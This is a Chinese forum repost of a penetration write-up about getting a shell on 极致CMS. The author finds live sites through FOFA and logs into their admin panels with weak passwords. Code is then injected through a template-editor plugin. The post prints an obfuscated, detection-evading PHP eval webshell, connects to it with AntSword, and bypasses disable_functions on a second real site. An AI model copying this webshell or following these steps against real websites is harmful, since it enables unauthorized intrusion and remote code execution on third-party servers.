搜索

[18325] 2021-04-03_记某CMS漏洞getshell

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2021-04-03_记某CMS漏洞getshell 记 某 C M S 漏 洞 g e t s h e l l F i r e b a s k y   H A C K 之 道   2 0 2 1 - 0 4 - 0 3 记 极 致 记 极 致 C M S 漏 洞 漏 洞 g e t s h e l l 今 天 下 午 比 较 空 闲 ， 就 去 搜 索 一 些 c m s ， 突 然 对 极 致 C M S 感 兴 趣 ， 而 网 上 已 经 有 一 些 文 章 对 它 进 行 分 析 利 用 ， s q l 注 入 , x s s , 后 台 修 改 上 传 后 缀 名 前 台 g e t s h e l l 等 等 。 于 是 就 引 起 了 我 的 兴 趣 想 去 测 试 一 下 。 信 息 收 集 信 息 收 集 还 是 因 为 自 己 太 懒 ， 不 想 搭 建 环 境 ， 然 后 就 想 网 上 有 好 多 网 站 啊 ， 随 便 找 一 个 去 看 看 。 h h h 然 后 去 利 用 去 搜 索 。 （ 不 能 随 便 乱 日 ） 弱 密 码 弱 密 码 y y d s 搜 索 了 一 些 网 站 ， 我 们 直 接 在 u r l 后 面 添 加 , 就 直 接 跳 到 后 台 登 录 的 地 方 。 f o f a / a d m i n . p h p
看 到 后 台 ？ ！ 嗯 ~ ， 测 试 了 s q l 无 果 ， 想 一 想 万 一 有 弱 密 码 呢 ？ 试 一 试 也 没 有 啥 。 然 后 就 测 试 了 弱 密 码 ， 你 懂 的 。 然 后 成 功 登 录 ~   仿 佛 就 看 到 了 就 在 我 面 前 了 。 因 为 之 前 有 师 傅 发 过 前 台 上 传 文 件 g e t s h e l l 了 ， 那 我 这 里 就 不 进 行 测 试 了 。 直 接 寻 找 另 一 个 方 法 g e t s h e l l 。 和 平 常 的 框 架 一 样 ， 登 录 后 台 之 后 就 需 要 去 测 试 功 能 点 ， 然 后 我 们 就 一 个 一 个 的 去 测 试 吧 ~ （ 这 里 大 概 过 了 有 4 0 分 钟 2 3 3 3 ~ ） 唯 一 我 感 觉 利 用 点 就 存 在 系 统 设 置 中 的 高 级 设 置 ， 我 们 可 以 选 择 上 传 的 后 缀 名 ， 不 过 这 里 是 前 台 的 上 传 啊 ， 后 台 虽 然 有 上 传 点 但 是 一 直 绕 过 不 了 。 难 受 死 了 ， 心 里 又 不 甘 心 在 前 台 上 传 g e t s h e l l ， 在 岂 不 是 很 没 有 面 子 （ 傲 娇 ） 这 里 一 直 后 台 没 有 绕 过 ~ ~ ~   2 3 3 3 ~ s h e l l
柳 暗 花 明 又 一 村 柳 暗 花 明 又 一 村 想 一 想 ， 如 果 要 利 用 后 台 ， 那 肯 定 是 一 些 功 能 的 问 题 ， 那 我 们 就 去 认 真 找 一 下 网 站 功 能 ， 找 来 找 去 就 发 现 一 个 上 传 点 ， 有 点 难 受 了 。 过 了 好 久 ， 突 然 想 起 了 后 台 有 一 个 啊 ， 应 该 说 肯 定 可 以 下 载 一 下 插 件 来 更 加 功 能 的 吧 。 然 后 就 凭 着 感 觉 和 功 能 去 看 看 那 些 插 件 可 以 利 于 。 发 现 了 一 个 在 线 编 辑 模 板 的 插 件 这 里 可 能 是 c t f e r 的 自 觉 吧 ~ 因 为 之 前 打 过 的 c t f 题 基 本 上 是 可 以 利 于 编 辑 插 件 进 行 修 改 代 码 ， 就 可 以 g e t s h e l l 。 话 不 多 说 就 开 始 尝 试 。 先 下 载 了 该 模 块 并 进 行 安 装 。 安 装 前 我 们 还 是 看 看 安 装 说 明 。 万 一 错 误 了 怎 么 办 ！ 扩 展 管 理
意 思 就 是 我 们 安 装 的 时 候 还 需 要 设 置 密 码 ， 并 且 该 目 录 权 限 比 较 高 , 就 让 我 看 到 了 的 希 望 然 后 就 设 置 密 码 登 录 密 码 。 成 功 登 录 之 后 就 看 到 了 这 个 页 面 我 当 时 直 接 嗨 了 起 了 （ n p ！ ！ ！ ） 7 7 7 s h e l l
进 入 这 个 页 面 ， 那 岂 不 是 可 以 修 改 代 码 了 ， 嘿 嘿 嘿 ~   那 不 是 s h e l l 唾 手 可 得 ！ 写 写 s h e l l 连 蚁 剑 连 蚁 剑 测 试 了 该 插 件 的 功 能 ， 发 现 只 能 修 改 代 码 还 不 能 写 文 件 ， 嗯 ~ 。 那 也 简 单 啊 ， 我 们 先 在 已 存 在 的 p h p 页 面 上 写 入 一 句 话 ， 然 后 蚁 剑 连 接 ， 创 建 文 件 写 s h e l l , 之 后 在 删 除 之 前 修 改 的 代 码 。 这 里 分 享 一 个 < ? p h p $ a   =   $ G L O B A L S ; $ s t r   =   ' _ P O S T ' ; e v a l / * * n i c e * * / ( ' ' .   $ a [ $ s t r ] [ ' c f 8 7 e f e 0 c 3 6 a 1 2 a e c 1 1 3 c d 7 9 8 2 0 4 3 5 7 3 ' ] .   N U L L ) ; ? > 这 里 写 入 我 们 的 一 句 话 木 马 免 杀 的 小 马
然 后 就 是 蚁 剑 去 连 接 啦 。 看 到 蚁 剑 存 在 了 一 个 绿 色 东 西 ， 长 叹 一 口 气 ~ （ 不 过 如 此 ） 连 接 成 功 居 然 不 能 执 行 ？ ？ ？ 心 里 又 难 受 了 一 下 ~ ~ ~ 然 后 去 看 看 到 底 过 滤 了 那 些 函 数 。 并 且 p h p 版 本 是 5 . 6
绕 绕 d i s a b l e _ f u n c t i o n s ( 没 成 功 没 成 功 ) 然 后 直 接 上 蚁 剑 的 插 件 ， 然 后 发 现 是 5 . 6   并 且 是 w i n d o w s   呜 呜 呜   不 会   直 接 告 辞 ~ 虽 然 没 有 成 功 执 行 命 令 ， 但 也 是 一 个 g e t s h e l l 的 思 路 。 啊 ~ 烦 ~ 。 但 是 渗 透 人 怎 么 能 认 输 ~ 俗 话 说 得 好 ， 拿 不 下 就 换 一 个 俗 话 说 得 好 ， 拿 不 下 就 换 一 个 （ 需 要 表 哥 们 可 以 给 一 些 意 见 学 习 一 下 ~ ） 进 行 收 集 信 息 进 行 收 集 信 息 进 行 重 复 上 面 的 操 作 又 获 得 一 个 网 站 。 并 且 还 是 通 过 弱 口 令 获 得 ~ 弱 口 令 弱 口 令 y y d s g e t s h e l l 执 行 命 令 执 行 命 令 这 里 的 步 骤 和 前 面 一 样 ， 因 为 有 前 面 的 步 骤 ， 而 这 个 s h e l l 就 简 单 多 了 。
也 成 功 获 得 蚁 剑 连 接 。 并 且 还 是 不 能 执 行 命 令 ， 但 是 看 到 了 l i n u x 系 统 就 想 ， 肯 定 比 w i n d o w s 好 多 了 啊 。 于 是 就 开 始 绕 d i s a b l e _ f u n c t i o n s ， 系 统 信 息 是 这 样 的 ， 那 直 接 蚁 剑 一 把 梭 。 成 功 绕 过 ， 这 不 就 成 功 了 ! ! ! 爽 歪 歪 ~ 总 结 总 结
极 致 C M S 还 是 存 在 很 多 漏 洞 的 。 这 里 小 弟 只 是 抛 砖 引 玉 而 已 。 而 写 到 这 里 的 时 候 已 经 是 晚 上 了 ， 提 权 的 话 还 是 后 面 文 章 在 说 吧 。 简 单 的 说 一 下 就 是 该 漏 洞 是 主 要 存 在 于 c m s 后 台 插 件 的 位 置 ， 允 许 用 户 修 改 代 码 ， 而 这 没 有 过 滤 就 造 成 了 巨 大 的 风 险 。 作 者 ： F i r e b a s k y ， 转 载 于 先 知 社 区 ● 干 货 | 渗 透 学 习 资 料 大 集 合 （ 书 籍 、 工 具 、 技 术 文 档 、 视 频 教 程 ） 点 击 上 方 ， 关 注 公 众 号 点 击 上 方 ， 关 注 公 众 号 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ”
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理